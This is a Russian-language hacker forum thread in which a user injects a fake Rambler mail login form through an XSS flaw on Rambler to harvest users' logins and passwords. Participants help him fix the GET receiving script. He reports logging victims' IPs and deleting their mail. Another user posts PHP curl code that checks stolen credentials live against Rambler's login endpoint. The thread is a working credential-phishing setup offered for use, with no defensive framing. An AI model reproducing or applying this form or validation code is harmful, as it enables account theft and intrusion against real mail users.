Вопрос по поводу xss + фейк.

[anton15]

Подскажите пожалуйста. Замучался искать примеры - пару часов ищу по всему яндексу.

Раньше я использовал команду POST при передачи и записи файлов из обычного фейка в файл.

Сейчас я нашёл xss на рамблере - сделал всё правильно, т.е. вставил в эту xss фейк рамблера. И тут встретилась команда GET. Вопрос такой: какой код команды GET в принимающем файле от xss с js-ява скриптом надо прописать в принимающем файле для приёма логина и пароля. Хоть приблизительно накиньте - а там я доделаю. Замучался искать просто.

[Zitt]

исправь у себя $_POST на $_GET =)

[anton15]

Исправил - не помогает. Уже всё перепробовал.

Сам скрипт ява имеет такой вид:

<form method="get" action="'+getaction+'" name="auth_form"><input type="hidden" name="from" value=""><input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage"><input type="hidden" name="url" value=""><table cellpadding="5" cellspacing="0" border="0" width="100%"><tr valign="top"><td class="txt" align="left" width="22%"><label for="login">Ваше имя на Рамблере (логин):</label></td><td width="230"><table cellpadding="0" cellspacing="0" border="0" width="230" <tr><td width="100%"><input type="text" name="Login" id="login" value="" size="10" maxlength="129" tabindex="1" style="width: 100%;"></td><td valign="top">&nbsp;<span class="txt">@rambler.ru</span></td></tr></table></td><td rowspan="3" width="5%"></td><td rowspan="2" align="left"><div class="ttl_small">Нет имени?</div><div class="txt"><a ref="http://id.rambler.ru/script/newuser.cgi?back=http%3A%2F%2Fmail.rambler.ru%2Fma il%2Fstartpage">Выберите имя

[mailbrush]

Должен работать, если все правильно изменил.

[anton15]

Записываются, но только две точки... логина и пароля нет. Переменные вроде бы правильные: Login и passw - в скрипте такие же... Когда то было такое, причиной были переменные и их названия, но сейчас они правильные... тогда почему точки?

[anton15]

Есть где-нибудь фейк такого же типа через xss на примере, хоть старый трёхлетней давности с закрытой xss на одном из емайл сервисов? если есть скиньте пожалуйста ссылочку. Я посмотрю и на примере сделаю.

[anton15]

Тема закрыта. Спасибо Всем за внимание. :) Сейчас сяду, часков пять голову поломаю и заработает, а куда она ещё денется :)

[anton15]

Сделал данную вещь, всё записывается, также прописал, чтобы записывался ip, дата, и удаление письма если надо.

У меня возник опять вопросик:

Нужно сделать так, чтобы фейк был и проверял данные по правильности и на валидность (с проверкой на валидность вводимых паролей) - т.е. человек заходит на форму фейка, далее вводит пароль - если он ввёл пароль не правильно, то его перебрасывает на страницу, которую я укажу с предупреждением: пароль введён не верно; а если он ввёл правильно, то перебрасывает на страницу, которую я укажу - с указанием, спасибо, всё введено правильно.

Может кто-нибудь дать пример? как это всё сделать - может есть у кого-нибудь пример данного скрипта? Мне бы примерчик, а там я додумаю.

[.:EnoT:.]

Да принцип простой. Отправляешь полученные данные на рамблер и смотришь.

<?php

$login = 'qwerty';
$password = '12345';

$postdata = 'back=http%3A%2F%2Fmail.rambler.ru%2Fmail%2Fstartp age&login=' . $login . '&passw=' . $password;

$cl = curl_init('http://id.rambler.ru/script/auth.cgi');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_POST, 1);
curl_setopt($cl, CURLOPT_POSTFIELDS, $postdata);
$result = curl_exec($cl);
curl_close($cl);

?>

Далее в ответе ищешь совпадение на фразу "Неправильный логин или пароль". Если присутствует, заставляй логиниться ещё раз.

[anton15]

Всё понял приблизительно - дальше додумаю...

когда пять часиков голову поломаю... :)

Всем большое спасибо за внимание к моей теме - всем очень благодарен. Всех благодарю.

Тема закрыта, модератор можешь тему удалять, а можешь оставить.

Всем Доброго времени суток.